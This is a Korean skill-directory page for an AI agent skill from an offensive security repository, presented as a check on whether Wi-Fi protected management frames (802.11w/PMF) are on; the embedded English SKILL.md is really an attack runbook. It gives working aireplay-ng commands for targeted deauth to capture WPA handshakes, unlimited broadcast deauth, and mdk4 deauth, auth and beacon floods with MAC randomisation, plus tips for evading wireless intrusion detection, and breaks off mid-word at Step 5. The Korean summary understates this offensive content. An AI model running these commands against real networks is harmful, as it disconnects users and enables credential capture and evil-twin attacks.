본문으로 건너뛰기
Skillpedia
보안6.5k · #14182

deauth-pmf

하는 일

보호된 관리 프레임 기능이 켜져 있는지 확인하는 방법을 설명합니다. 이 기능은 강제 연결 해제로부터 기기를 보호합니다. 자신이 관리하는 무선 네트워크를 점검하는 보안 팀을 위한 스킬입니다.

사용하는 경우

  • ✓IT 팀이 Wi-Fi가 강제 연결 해제 시도로부터 클라이언트를 보호하는지 알고 싶을 때.
  • ✓보안 검토자가 무선 액세스 포인트의 보호 수준을 기록해야 할 때.
  • ✓팀이 무선 점검을 계획하면서 먼저 관리 프레임 설정을 기록해야 할 때.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 사무실 Wi-Fi가 강제 연결 해제 공격으로부터 기기를 보호하고 있나요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

스킬은 AI에게 짧은 캡처에서 액세스 포인트의 비콘 설정을 읽고, 보호 수준을 비활성, 선택 사항, 필수 중 하나로 분류해 결과로 기록하도록 안내합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Deauth / Disassoc + 802.11w (PMF) Posture

This is a shared-primitive skill. Most callers need it to coerce a single client reconnect (handshake capture or evil-twin roaming). The standalone deliverable is the PMF state finding: pmf_state ∈ {disabled, optional, required} is always worth documenting as a network finding regardless of whether deauth is needed for the attack path.

Prerequisites

  • Monitor-mode + injection-capable adapter on the target channel.
  • Tools: aircrack-ng suite (aireplay-ng, airodump-ng), mdk4, tshark or iw.
  • Deauth requires permitted_actions: deauth_for_handshake_capture in plan/roe.json. Broadcast deauth / DoS requires posture=loud.

Step 1 — PMF state detection from beacons

Read MFPC (Management Frame Protection Capable) and MFPR (Required) bits from the AP's RSN IE before issuing any deauth frames:

# Capture beacons for the target BSSID
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w /tmp/pmf_recon \
    --output-format pcap <mon-iface>
# 5–10 seconds is enough to collect multiple beacons.

# Decode RSN capabilities: MFPC + MFPR bits
tshark -r /tmp/pmf_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
    -T fields \
    -e wlan.ssid \
    -e wlan_mgt.rsn.capabilities.mfpc \
    -e wlan_mgt.rsn.capabilities.mfpr \
    2>/dev/null | sort -u

# Interpretation:
# MFPC=0, MFPR=0  → PMF disabled (deauth frames accepted by all clients)
# MFPC=1, MFPR=0  → PMF optional (deauth works against clients that don't support PMF)
# MFPC=1, MFPR=1  → PMF required (deauth frames are encrypted; unprotected deauth rejected)
# Alternative: iw to inspect connected interface (if you have network access)
iw dev <iface> info | grep -i pmf
# or from scan results:
iw <iface> scan | grep -A 20 "<SSID>" | grep -i "protected\|pmf\|mfp"

Decision based on PMF state:

PMF state Deauth viable? Action
disabled (MFPC=0) Yes — all clients accept unprotected deauth Proceed to Step 2
optional (MFPC=1, MFPR=0) Partial — clients that didn't negotiate PMF accept deauth Proceed; note some clients may be immune
required (MFPC=1, MFPR=1) No — all deauth rejected unless encrypted PMKID still viable; mark deauth as blocked

Step 2 — Targeted single-client deauth (standard / stealth)

# Identify connected clients first
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> <mon-iface>
# Bottom section shows STATION (client) MACs.

# Send a SINGLE targeted deauth frame (one reconnect trigger)
sudo aireplay-ng --deauth 1 \
    -a <BSSID> \
    -c <CLIENT_MAC> \
    <mon-iface>

# Confirm the client reassociates and watch for the handshake in
# airodump's header: "WPA handshake: <BSSID>"
# Send a burst of targeted deauth (3–5 frames) if single deauth is ignored
# (e.g., client is in power-save mode or noisy RF environment)
sudo aireplay-ng --deauth 5 \
    -a <BSSID> \
    -c <CLIENT_MAC> \
    <mon-iface>

OPSEC: Targeted deauth to a single client is visible in WIDS but low-severity. One or two frames at engagement cadence = noise. Burst deauth (>10 frames) triggers WIDS alerts on most enterprise platforms.

Step 3 — Broadcast deauth (posture=loud, DoS testing)

# Broadcast deauth to all clients on the AP (posture=loud only)
# This is a DoS action — confirm it is an accepted risk in RoE.
sudo aireplay-ng --deauth 0 \
    -a <BSSID> \
    <mon-iface>
# --deauth 0 = unlimited broadcast; Ctrl+C to stop.

# Broadcast disassociation variant
sudo aireplay-ng --deauth 10 \
    -a <BSSID> \
    <mon-iface>

RoE gate for broadcast deauth:

HARD STOP: broadcast deauth requires posture=loud AND
  plan/roe.json:permitted_actions contains "broadcast_deauth" or "dos_testing"
  This is a denial-of-service action — all clients lose connectivity.

Step 4 — mdk4 beacon flood / auth flood (DoS testing)

# mdk4 deauth flood (more evasive — randomizes source MACs)
sudo mdk4 <mon-iface> d \
    -B <BSSID> \
    -c <CHANNEL>

# mdk4 auth flood (overwhelms AP's association table)
sudo mdk4 <mon-iface> a \
    -a <BSSID>

# mdk4 beacon flood (SSID pollution — interferes with scanning)
sudo mdk4 <mon-iface> b \
    -n "TargetSSID-DoS" \
    -c <CHANNEL>

Note: mdk4 beacon flood does not disconnect clients; it pollutes the visible network list. Auth flood + deauth flood together cause AP memory/state table exhaustion on older firmware.

Step 5 — Unprotected action-f

자주 묻는 질문

보호 수준에는 무엇이 있나요?

스킬은 비활성, 선택 사항, 필수의 세 가지 수준을 사용합니다.

네트워크에서 연결 해제를 직접 테스트하나요?

실제 연결 해제 테스트는 점검 규칙에 따르며 명시적인 승인이 필요합니다.

누구를 위한 스킬인가요?

소유하거나 테스트 권한을 받은 무선 네트워크를 점검하는 보안 팀을 위한 스킬입니다.

상세 정보

작성자의 원본 설명

Targeted and broadcast 802.11 deauthentication / disassociation, 802.11w/PMF posture detection, and action-frame attack variants. Reusable by wpa2-psk (handshake), wpa3-sae (downgrade), and evil-twin (roaming coercion).

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14182
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬